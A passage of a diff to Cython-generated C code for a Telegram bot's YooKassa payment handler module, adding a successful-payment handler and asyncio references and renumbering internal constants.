Py_CLEAR(clear_module_state->__pyx_n_s_await); Py_CLEAR(clear_module_state->__pyx_n_s_balance); @@ -3392,6 +3394,7 @@ static int __pyx_m_clear(PyObject *m) { Py_CLEAR(clear_module_state->__pyx_n_s_conn); Py_CLEAR(clear_module_state->__pyx_n_s_connect); Py_CLEAR(clear_module_state->__pyx_n_s_create); + Py_CLEAR(clear_module_state->__pyx_n_s_create_task); Py_CLEAR(clear_module_state->__pyx_n_u_currency); Py_CLEAR(clear_module_state->__pyx_n_u_customer); Py_CLEAR(clear_module_state->__pyx_n_s_customer_email); @@ -3438,6 +3441,7 @@ static int __pyx_m_clear(PyObject *m) { Py_CLEAR(clear_module_state->__pyx_n_s_init_subclass); Py_CLEAR(clear_module_state->__pyx_n_s_initializing); Py_CLEAR(clear_module_state->__pyx_n_s_inline_keyboard); + Py_CLEAR(clear_module_state->__pyx_n_s_inspect); Py_CLEAR(clear_module_state->__pyx_n_s_is_coroutine); Py_CLEAR(clear_module_state->__pyx_n_s_isdigit); Py_CLEAR(clear_module_state->__pyx_kp_u_isenabled); @@ -3472,6 +3476,7 @@ static int __pyx_m_clear(PyObject *m) { Py_CLEAR(clear_module_state->__pyx_n_s_process_callback_pay_yookassa); Py_CLEAR(clear_module_state->__pyx_n_s_process_custom_amount_input); Py_CLEAR(clear_module_state->__pyx_n_s_process_enter_custom_amount); + Py_CLEAR(clear_module_state->__pyx_n_s_process_successful_payment); Py_CLEAR(clear_module_state->__pyx_n_u_profile); Py_CLEAR(clear_module_state->__pyx_n_s_qualname); Py_CLEAR(clear_module_state->__pyx_n_u_quantity); @@ -3481,6 +3486,7 @@ static int __pyx_m_clear(PyObject *m) { Py_CLEAR(clear_module_state->__pyx_n_s_reply_markup); Py_CLEAR(clear_module_state->__pyx_n_s_request); Py_CLEAR(clear_module_state->__pyx_n_u_required_amount); + Py_CLEAR(clear_module_state->__pyx_n_s_response); Py_CLEAR(clear_module_state->__pyx_n_u_return_url); Py_CLEAR(clear_module_state->__pyx_n_s_router); Py_CLEAR(clear_module_state->__pyx_n_s_row); @@ -3545,21 +3551,23 @@ static int __pyx_m_clear(PyObject *m) { Py_CLEAR(clear_module_state->__pyx_int_500); Py_CLEAR(clear_module_state->__pyx_codeobj_); Py_CLEAR(clear_module_state->__pyx_tuple__5); - Py_CLEAR(clear_module_state->__pyx_tuple__16); Py_CLEAR(clear_module_state->__pyx_tuple__19); - Py_CLEAR(clear_module_state->__pyx_tuple__28); - Py_CLEAR(clear_module_state->__pyx_tuple__29); - Py_CLEAR(clear_module_state->__pyx_tuple__30); + Py_CLEAR(clear_module_state->__pyx_tuple__22); Py_CLEAR(clear_module_state->__pyx_tuple__31); Py_CLEAR(clear_module_state->__pyx_tuple__32); Py_CLEAR(clear_module_state->__pyx_tuple__33); Py_CLEAR(clear_module_state->__pyx_tuple__34); Py_CLEAR(clear_module_state->__pyx_tuple__35); + Py_CLEAR(clear_module_state->__pyx_tuple__36); + Py_CLEAR(clear_module_state->__pyx_tuple__37); + Py_CLEAR(clear_module_state->__pyx_tuple__38); + Py_CLEAR(clear_module_state->__pyx_tuple__39); Py_CLEAR(clear_module_state->__pyx_codeobj__3); Py_CLEAR(clear_module_state->__pyx_codeobj__11); Py_CLEAR(clear_module_state->__pyx_codeobj__14); Py_CLEAR(clear_module_state->__pyx_codeobj__17); - Py_CLEAR(clear_module_state->__pyx_codeobj__25); + Py_CLEAR(clear_module_state->__pyx_codeobj__20); + Py_CLEAR(clear_module_state->__pyx_codeobj__28); return 0; } #endif @@ -3586,12 +3594,14 @@ static int __pyx_m_traverse(PyObject *m, visitproc visit, void *arg) { Py_VISIT(traverse_module_state->__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection); Py_VISIT(traverse_module_state->__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook); Py_VISIT(traverse_module_state->__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook); - Py_VISIT(traverse_module_state->__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount); - Py_VISIT(traverse_module_state->__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount); - Py_VISIT(traverse_module_state->__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input); - Py_VISIT(traverse_module_state->__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input); - Py_VISIT(traverse_module_state->__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5__send_message); - Py_VISIT(traverse_module_state->__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5__send_message); + Py_VISIT(traverse_module_state->__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_successful_payment); + Py_VISIT(traverse_module_state->__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_successful_payment); + Py_VISIT(traverse_module_state->__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_enter_custom_amount); + Py_VISIT(traverse_module_state->__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_enter_custom_amount); + Py_VISIT(traverse_module_state->__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5_process_custom_amount_input); + Py_VISIT(traverse_module_state->__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5_process_custom_amount_input); + Py_VISIT(traverse_module_state->__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_6__send_message); + Py_VISIT(traverse_module_state->__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_6__send_message); Py_VISIT(traverse_module_state->__pyx_kp_u_1_00); Py_VISIT(traverse_module_state->__pyx_kp_u_79000000000); Py_VISIT(traverse_module_state->__pyx_n_s_AMOUNT_TEXT); @@ -3618,8 +3628,8 @@ static int __pyx_m_traverse(PyObject *m, visitproc visit, void *arg) { Py_VISIT(traverse_module_state->__pyx_n_s_PAY); Py_VISIT(traverse_module_state->__pyx_n_s_PAYMENT_OPTIONS); Py_VISIT(traverse_module_state->__pyx_n_s_PAY_2); - Py_VISIT(traverse_module_state->__pyx_n_u_PIRAT0ETO7DLYA9TEBYA); Py_VISIT(traverse_module_state->__pyx_n_s_PROFILE); + Py_VISIT(traverse_module_state->__pyx_kp_u_PROJECT_06_01_09_LICENSION); Py_VISIT(traverse_module_state->__pyx_n_s_Payment); Py_VISIT(traverse_module_state->__pyx_kp_u_Payment_succeeded_for_user_id); Py_VISIT(traverse_module_state->__pyx_n_s_REDIRECT_LINK); @@ -3640,17 +3650,19 @@ static int __pyx_m_traverse(PyObject *m, visitproc visit, void *arg) { Py_VISIT(traverse_module_state->__pyx_kp_u__12); Py_VISIT(traverse_module_state->__pyx_kp_u__13); Py_VISIT(traverse_module_state->__pyx_kp_u__15); + Py_VISIT(traverse_module_state->__pyx_kp_u__16); Py_VISIT(traverse_module_state->__pyx_kp_u__18); Py_VISIT(traverse_module_state->__pyx_kp_u__2); - Py_VISIT(traverse_module_state->__pyx_kp_u__20); Py_VISIT(traverse_module_state->__pyx_kp_u__21); - Py_VISIT(traverse_module_state->__pyx_kp_u__22); Py_VISIT(traverse_module_state->__pyx_kp_u__23); Py_VISIT(traverse_module_state->__pyx_kp_u__24); - Py_VISIT(traverse_module_state->__pyx_n_s__26); + Py_VISIT(traverse_module_state->__pyx_kp_u__25); + Py_VISIT(traverse_module_state->__pyx_kp_u__26); Py_VISIT(traverse_module_state->__pyx_kp_u__27); - Py_VISIT(traverse_module_state->__pyx_n_s__36); + Py_VISIT(traverse_module_state->__pyx_n_s__29); + Py_VISIT(traverse_module_state->__pyx_kp_u__30); Py_VISIT(traverse_module_state->__pyx_kp_u__4); + Py_VISIT(traverse_module_state->__pyx_n_s__40); Py_VISIT(traverse_module_state->__pyx_kp_u__6); Py_VISIT(traverse_module_state->__pyx_kp_u__7); Py_VISIT(traverse_module_state->__pyx_kp_u__8); @@ -3671,7 +3683,9 @@ static int __pyx_m_traverse(PyObject *m, visitproc visit, void *arg) { Py_VISIT(traverse_module_state->__pyx_n_s_answer); Py_VISIT(traverse_module_state->__pyx_n_s_args); Py_VISIT(traverse_module_state->__pyx_n_s_as_markup); + Py_VISIT(traverse_module_state->__pyx_n_s_asyncio); Py_VISIT(traverse_module_state->__pyx_n_s_asyncio_coroutines); + Py_VISIT(traverse_module_state->__pyx_n_s_asyncio_tasks); Py_VISIT(traverse_module_state->__pyx_n_s_asyncpg); Py_VISIT(traverse_module_state->__pyx_n_s_await); Py_VISIT(traverse_module_state->__pyx_n_s_balance); @@ -3693,6 +3707,7 @@ static int __pyx_m_traverse(PyObject *m, visitproc visit, void *arg) { Py_VISIT(traverse_module_state->__pyx_n_s_conn); Py_VISIT(traverse_module_state->__pyx_n_s_connect); Py_VISIT(traverse_module_state->__pyx_n_s_create); + Py_VISIT(traverse_module_state->__pyx_n_s_create_task); Py_VISIT(traverse_module_state->__pyx_n_u_currency); Py_VISIT(traverse_module_state->__pyx_n_u_customer); Py_VISIT(traverse_module_state->__pyx_n_s_customer_email); @@ -3739,6 +3754,7 @@ static int __pyx_m_traverse(PyObject *m, visitproc visit, void *arg) { Py_VISIT(traverse_module_state->__pyx_n_s_init_subclass); Py_VISIT(traverse_module_state->__pyx_n_s_initializing); Py_VISIT(traverse_module_state->__pyx_n_s_inline_keyboard); + Py_VISIT(traverse_module_state->__pyx_n_s_inspect); Py_VISIT(traverse_module_state->__pyx_n_s_is_coroutine); Py_VISIT(traverse_module_state->__pyx_n_s_isdigit); Py_VISIT(traverse_module_state->__pyx_kp_u_isenabled); @@ -3773,6 +3789,7 @@ static int __pyx_m_traverse(PyObject *m, visitproc visit, void *arg) { Py_VISIT(traverse_module_state->__pyx_n_s_process_callback_pay_yookassa); Py_VISIT(traverse_module_state->__pyx_n_s_process_custom_amount_input); Py_VISIT(traverse_module_state->__pyx_n_s_process_enter_custom_amount); + Py_VISIT(traverse_module_state->__pyx_n_s_process_successful_payment); Py_VISIT(traverse_module_state->__pyx_n_u_profile); Py_VISIT(traverse_module_state->__pyx_n_s_qualname); Py_VISIT(traverse_module_state->__pyx_n_u_quantity); @@ -3782,6 +3799,7 @@ static int __pyx_m_traverse(PyObject *m, visitproc visit, void *arg) { Py_VISIT(traverse_module_state->__pyx_n_s_reply_markup); Py_VISIT(traverse_module_state->__pyx_n_s_request); Py_VISIT(traverse_module_state->__pyx_n_u_required_amount); + Py_VISIT(traverse_module_state->__pyx_n_s_response); Py_VISIT(traverse_module_state->__pyx_n_u_return_url); Py_VISIT(traverse_module_state->__pyx_n_s_router); Py_VISIT(traverse_module_state->__pyx_n_s_row); @@ -3846,21 +3864,23 @@ static int __pyx_m_traverse(PyObject *m, visitproc visit, void *arg) { Py_VISIT(traverse_module_state->__pyx_int_500); Py_VISIT(traverse_module_state->__pyx_codeobj_); Py_VISIT(traverse_module_state->__pyx_tuple__5); - Py_VISIT(traverse_module_state->__pyx_tuple__16); Py_VISIT(traverse_module_state->__pyx_tuple__19); - Py_VISIT(traverse_module_state->__pyx_tuple__28); - Py_VISIT(traverse_module_state->__pyx_tuple__29); - Py_VISIT(traverse_module_state->__pyx_tuple__30); + Py_VISIT(traverse_module_state->__pyx_tuple__22); Py_VISIT(traverse_module_state->__pyx_tuple__31); Py_VISIT(traverse_module_state->__pyx_tuple__32); Py_VISIT(traverse_module_state->__pyx_tuple__33); Py_VISIT(traverse_module_state->__pyx_tuple__34); Py_VISIT(traverse_module_state->__pyx_tuple__35); + Py_VISIT(traverse_module_state->__pyx_tuple__36); + Py_VISIT(traverse_module_state->__pyx_tuple__37); + Py_VISIT(traverse_module_state->__pyx_tuple__38); + Py_VISIT(traverse_module_state->__pyx_tuple__39); Py_VISIT(traverse_module_state->__pyx_codeobj__3); Py_VISIT(traverse_module_state->__pyx_codeobj__11); Py_VISIT(traverse_module_state->__pyx_codeobj__14); Py_VISIT(traverse_module_state->__pyx_codeobj__17); - Py_VISIT(traverse_module_state->__pyx_codeobj__25); + Py_VISIT(traverse_module_state->__pyx_codeobj__20); + Py_VISIT(traverse_module_state->__pyx_codeobj__28); return 0; } #endif @@ -3893,16 +3913,18 @@ static int __pyx_m_traverse(PyObject *m, visitproc visit, void *arg) { #define __pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa __pyx_mstate_global->__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa #define __pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection __pyx_mstate_global->__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection #define __pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook __pyx_mstate_global->__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook -#define __pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount __pyx_mstate_global->__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount -#define __pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input __pyx_mstate_global->__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input -#define __pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5__send_message __pyx_mstate_global->__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5__send_message +#define __pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_successful_payment __pyx_mstate_global->__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_successful_payment +#define __pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_enter_custom_amount __pyx_mstate_global->__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_enter_custom_amount +#define __pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5_process_custom_amount_input __pyx_mstate_global->__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5_process_custom_amount_input +#define __pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_6__send_message __pyx_mstate_global->__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_6__send_message #endif #define __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa __pyx_mstate_global->__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa #define __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection __pyx_mstate_global->__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection #define __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook __pyx_mstate_global->__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook -#define __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount __pyx_mstate_global->__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount -#define __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input __pyx_mstate_global->__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input -#define __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5__send_message __pyx_mstate_global->__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5__send_message +#define __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_successful_payment __pyx_mstate_global->__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_successful_payment +#define __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_enter_custom_amount __pyx_mstate_global->__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_enter_custom_amount +#define __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5_process_custom_amount_input __pyx_mstate_global->__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5_process_custom_amount_input +#define __pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_6__send_message __pyx_mstate_global->__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_6__send_message #define __pyx_kp_u_1_00 __pyx_mstate_global->__pyx_kp_u_1_00 #define __pyx_kp_u_79000000000 __pyx_mstate_global->__pyx_kp_u_79000000000 #define __pyx_n_s_AMOUNT_TEXT __pyx_mstate_global->__pyx_n_s_AMOUNT_TEXT @@ -3929,8 +3951,8 @@ static int __pyx_m_traverse(PyObject *m, visitproc visit, void *arg) { #define __pyx_n_s_PAY __pyx_mstate_global->__pyx_n_s_PAY #define __pyx_n_s_PAYMENT_OPTIONS __pyx_mstate_global->__pyx_n_s_PAYMENT_OPTIONS #define __pyx_n_s_PAY_2 __pyx_mstate_global->__pyx_n_s_PAY_2 -#define __pyx_n_u_PIRAT0ETO7DLYA9TEBYA __pyx_mstate_global->__pyx_n_u_PIRAT0ETO7DLYA9TEBYA #define __pyx_n_s_PROFILE __pyx_mstate_global->__pyx_n_s_PROFILE +#define __pyx_kp_u_PROJECT_06_01_09_LICENSION __pyx_mstate_global->__pyx_kp_u_PROJECT_06_01_09_LICENSION #define __pyx_n_s_Payment __pyx_mstate_global->__pyx_n_s_Payment #define __pyx_kp_u_Payment_succeeded_for_user_id __pyx_mstate_global->__pyx_kp_u_Payment_succeeded_for_user_id #define __pyx_n_s_REDIRECT_LINK __pyx_mstate_global->__pyx_n_s_REDIRECT_LINK @@ -3951,17 +3973,19 @@ static int __pyx_m_traverse(PyObject *m, visitproc visit, void *arg) { #define __pyx_kp_u__12 __pyx_mstate_global->__pyx_kp_u__12 #define __pyx_kp_u__13 __pyx_mstate_global->__pyx_kp_u__13 #define __pyx_kp_u__15 __pyx_mstate_global->__pyx_kp_u__15 +#define __pyx_kp_u__16 __pyx_mstate_global->__pyx_kp_u__16 #define __pyx_kp_u__18 __pyx_mstate_global->__pyx_kp_u__18 #define __pyx_kp_u__2 __pyx_mstate_global->__pyx_kp_u__2 -#define __pyx_kp_u__20 __pyx_mstate_global->__pyx_kp_u__20 #define __pyx_kp_u__21 __pyx_mstate_global->__pyx_kp_u__21 -#define __pyx_kp_u__22 __pyx_mstate_global->__pyx_kp_u__22 #define __pyx_kp_u__23 __pyx_mstate_global->__pyx_kp_u__23 #define __pyx_kp_u__24 __pyx_mstate_global->__pyx_kp_u__24 -#define __pyx_n_s__26 __pyx_mstate_global->__pyx_n_s__26 +#define __pyx_kp_u__25 __pyx_mstate_global->__pyx_kp_u__25 +#define __pyx_kp_u__26 __pyx_mstate_global->__pyx_kp_u__26 #define __pyx_kp_u__27 __pyx_mstate_global->__pyx_kp_u__27 -#define __pyx_n_s__36 __pyx_mstate_global->__pyx_n_s__36 +#define __pyx_n_s__29 __pyx_mstate_global->__pyx_n_s__29 +#define __pyx_kp_u__30 __pyx_mstate_global->__pyx_kp_u__30 #define __pyx_kp_u__4 __pyx_mstate_global->__pyx_kp_u__4 +#define __pyx_n_s__40 __pyx_mstate_global->__pyx_n_s__40 #define __pyx_kp_u__6 __pyx_mstate_global->__pyx_kp_u__6 #define __pyx_kp_u__7 __pyx_mstate_global->__pyx_kp_u__7 #define __pyx_kp_u__8 __pyx_mstate_global->__pyx_kp_u__8 @@ -3982,7 +4006,9 @@ static int __pyx_m_traverse(PyObject *m, visitproc visit, void *arg) { #define __pyx_n_s_answer __pyx_mstate_global->__pyx_n_s_answer #define __pyx_n_s_args __pyx_mstate_global->__pyx_n_s_args #define __pyx_n_s_as_markup __pyx_mstate_global->__pyx_n_s_as_markup +#define __pyx_n_s_asyncio __pyx_mstate_global->__pyx_n_s_asyncio #define __pyx_n_s_asyncio_coroutines __pyx_mstate_global->__pyx_n_s_asyncio_coroutines +#define __pyx_n_s_asyncio_tasks __pyx_mstate_global->__pyx_n_s_asyncio_tasks #define __pyx_n_s_asyncpg __pyx_mstate_global->__pyx_n_s_asyncpg #define __pyx_n_s_await __pyx_mstate_global->__pyx_n_s_await #define __pyx_n_s_balance __pyx_mstate_global->__pyx_n_s_balance @@ -4004,6 +4030,7 @@ static int __pyx_m_traverse(PyObject *m, visitproc visit, void *arg) { #define __pyx_n_s_conn __pyx_mstate_global->__pyx_n_s_conn #define __pyx_n_s_connect __pyx_mstate_global->__pyx_n_s_connect #define __pyx_n_s_create __pyx_mstate_global->__pyx_n_s_create +#define __pyx_n_s_create_task __pyx_mstate_global->__pyx_n_s_create_task #define __pyx_n_u_currency __pyx_mstate_global->__pyx_n_u_currency #define __pyx_n_u_customer __pyx_mstate_global->__pyx_n_u_customer #define __pyx_n_s_customer_email __pyx_mstate_global->__pyx_n_s_customer_email @@ -4050,6 +4077,7 @@ static int __pyx_m_traverse(PyObject *m, visitproc visit, void *arg) { #define __pyx_n_s_init_subclass __pyx_mstate_global->__pyx_n_s_init_subclass #define __pyx_n_s_initializing __pyx_mstate_global->__pyx_n_s_initializing #define __pyx_n_s_inline_keyboard __pyx_mstate_global->__pyx_n_s_inline_keyboard +#define __pyx_n_s_inspect __pyx_mstate_global->__pyx_n_s_inspect #define __pyx_n_s_is_coroutine __pyx_mstate_global->__pyx_n_s_is_coroutine #define __pyx_n_s_isdigit __pyx_mstate_global->__pyx_n_s_isdigit #define __pyx_kp_u_isenabled __pyx_mstate_global->__pyx_kp_u_isenabled @@ -4084,6 +4112,7 @@ static int __pyx_m_traverse(PyObject *m, visitproc visit, void *arg) { #define __pyx_n_s_process_callback_pay_yookassa __pyx_mstate_global->__pyx_n_s_process_callback_pay_yookassa #define __pyx_n_s_process_custom_amount_input __pyx_mstate_global->__pyx_n_s_process_custom_amount_input #define __pyx_n_s_process_enter_custom_amount __pyx_mstate_global->__pyx_n_s_process_enter_custom_amount +#define __pyx_n_s_process_successful_payment __pyx_mstate_global->__pyx_n_s_process_successful_payment #define __pyx_n_u_profile __pyx_mstate_global->__pyx_n_u_profile #define __pyx_n_s_qualname __pyx_mstate_global->__pyx_n_s_qualname #define __pyx_n_u_quantity __pyx_mstate_global->__pyx_n_u_quantity @@ -4093,6 +4122,7 @@ static int __pyx_m_traverse(PyObject *m, visitproc visit, void *arg) { #define __pyx_n_s_reply_markup __pyx_mstate_global->__pyx_n_s_reply_markup #define __pyx_n_s_request __pyx_mstate_global->__pyx_n_s_request #define __pyx_n_u_required_amount __pyx_mstate_global->__pyx_n_u_required_amount +#define __pyx_n_s_response __pyx_mstate_global->__pyx_n_s_response #define __pyx_n_u_return_url __pyx_mstate_global->__pyx_n_u_return_url #define __pyx_n_s_router __pyx_mstate_global->__pyx_n_s_router #define __pyx_n_s_row __pyx_mstate_global->__pyx_n_s_row @@ -4157,31 +4187,26 @@ static int __pyx_m_traverse(PyObject *m, visitproc visit, void *arg) { #define __pyx_int_500 __pyx_mstate_global->__pyx_int_500 #define __pyx_codeobj_ __pyx_mstate_global->__pyx_codeobj_ #define __pyx_tuple__5 __pyx_mstate_global->__pyx_tuple__5 -#define __pyx_tuple__16 __pyx_mstate_global->__pyx_tuple__16 #define __pyx_tuple__19 __pyx_mstate_global->__pyx_tuple__19 -#define __pyx_tuple__28 __pyx_mstate_global->__pyx_tuple__28 -#define __pyx_tuple__29 __pyx_mstate_global->__pyx_tuple__29 -#define __pyx_tuple__30 __pyx_mstate_global->__pyx_tuple__30 +#define __pyx_tuple__22 __pyx_mstate_global->__pyx_tuple__22 #define __pyx_tuple__31 __pyx_mstate_global->__pyx_tuple__31 #define __pyx_tuple__32 __pyx_mstate_global->__pyx_tuple__32 #define __pyx_tuple__33 __pyx_mstate_global->__pyx_tuple__33 #define __pyx_tuple__34 __pyx_mstate_global->__pyx_tuple__34 #define __pyx_tuple__35 __pyx_mstate_global->__pyx_tuple__35 +#define __pyx_tuple__36 __pyx_mstate_global->__pyx_tuple__36 +#define __pyx_tuple__37 __pyx_mstate_global->__pyx_tuple__37 +#define __pyx_tuple__38 __pyx_mstate_global->__pyx_tuple__38 +#define __pyx_tuple__39 __pyx_mstate_global->__pyx_tuple__39 #define __pyx_codeobj__3 __pyx_mstate_global->__pyx_codeobj__3 #define __pyx_codeobj__11 __pyx_mstate_global->__pyx_codeobj__11 #define __pyx_codeobj__14 __pyx_mstate_global->__pyx_codeobj__14 #define __pyx_codeobj__17 __pyx_mstate_global->__pyx_codeobj__17 -#define __pyx_codeobj__25 __pyx_mstate_global->__pyx_codeobj__25 +#define __pyx_codeobj__20 __pyx_mstate_global->__pyx_codeobj__20 +#define __pyx_codeobj__28 __pyx_mstate_global->__pyx_codeobj__28 /* #### Code section: module_code ### */ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_2generator(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ -/* "handlers/payments/yookassa_pay.py":60 - * - * - * @router.callback_query(F.data == "pay_yookassa") # <<<<<<<<<<<<<< - * async def process_callback_pay_yookassa( - * callback_query: types.CallbackQuery, state: FSMContext, session: Any - */ /* Python wrapper */ static PyObject *__pyx_pw_8handlers_8payments_12yookassa_pay_1process_callback_pay_yookassa(PyObject *__pyx_self, @@ -4242,7 +4267,7 @@ PyObject *__pyx_args, PyObject *__pyx_kwds (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); kw_args--; } - else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 60, __pyx_L3_error) + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 61, __pyx_L3_error) else goto __pyx_L5_argtuple_error; CYTHON_FALLTHROUGH; case 1: @@ -4250,9 +4275,9 @@ PyObject *__pyx_args, PyObject *__pyx_kwds (void)__Pyx_Arg_NewRef_FASTCALL(values[1]); kw_args--; } - else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 60, __pyx_L3_error) + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 61, __pyx_L3_error) else { - __Pyx_RaiseArgtupleInvalid("process_callback_pay_yookassa", 1, 3, 3, 1); __PYX_ERR(0, 60, __pyx_L3_error) + __Pyx_RaiseArgtupleInvalid("process_callback_pay_yookassa", 1, 3, 3, 1); __PYX_ERR(0, 61, __pyx_L3_error) } CYTHON_FALLTHROUGH; case 2: @@ -4260,14 +4285,14 @@ PyObject *__pyx_args, PyObject *__pyx_kwds (void)__Pyx_Arg_NewRef_FASTCALL(values[2]); kw_args--; } - else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 60, __pyx_L3_error) + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 61, __pyx_L3_error) else { - __Pyx_RaiseArgtupleInvalid("process_callback_pay_yookassa", 1, 3, 3, 2); __PYX_ERR(0, 60, __pyx_L3_error) + __Pyx_RaiseArgtupleInvalid("process_callback_pay_yookassa", 1, 3, 3, 2); __PYX_ERR(0, 61, __pyx_L3_error) } } if (unlikely(kw_args > 0)) { const Py_ssize_t kwd_pos_args = __pyx_nargs; - if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "process_callback_pay_yookassa") < 0)) __PYX_ERR(0, 60, __pyx_L3_error) + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "process_callback_pay_yookassa") < 0)) __PYX_ERR(0, 61, __pyx_L3_error) } } else if (unlikely(__pyx_nargs != 3)) { goto __pyx_L5_argtuple_error; @@ -4282,7 +4307,7 @@ PyObject *__pyx_args, PyObject *__pyx_kwds } goto __pyx_L6_skip; __pyx_L5_argtuple_error:; - __Pyx_RaiseArgtupleInvalid("process_callback_pay_yookassa", 1, 3, 3, __pyx_nargs); __PYX_ERR(0, 60, __pyx_L3_error) + __Pyx_RaiseArgtupleInvalid("process_callback_pay_yookassa", 1, 3, 3, __pyx_nargs); __PYX_ERR(0, 61, __pyx_L3_error) __pyx_L6_skip:; goto __pyx_L4_argument_unpacking_done; __pyx_L3_error:; @@ -4321,7 +4346,7 @@ static PyObject *__pyx_pf_8handlers_8payments_12yookassa_pay_process_callback_pa if (unlikely(!__pyx_cur_scope)) { __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa *)Py_None); __Pyx_INCREF(Py_None); - __PYX_ERR(0, 60, __pyx_L1_error) + __PYX_ERR(0, 61, __pyx_L1_error) } else { __Pyx_GOTREF((PyObject *)__pyx_cur_scope); } @@ -4335,7 +4360,7 @@ static PyObject *__pyx_pf_8handlers_8payments_12yookassa_pay_process_callback_pa __Pyx_INCREF(__pyx_cur_scope->__pyx_v_session); __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_session); { - __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_12yookassa_pay_2generator, __pyx_codeobj_, (PyObject *) __pyx_cur_scope, __pyx_n_s_process_callback_pay_yookassa, __pyx_n_s_process_callback_pay_yookassa, __pyx_n_s_handlers_payments_yookassa_pay); if (unlikely(!gen)) __PYX_ERR(0, 60, __pyx_L1_error) + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_12yookassa_pay_2generator, __pyx_codeobj_, (PyObject *) __pyx_cur_scope, 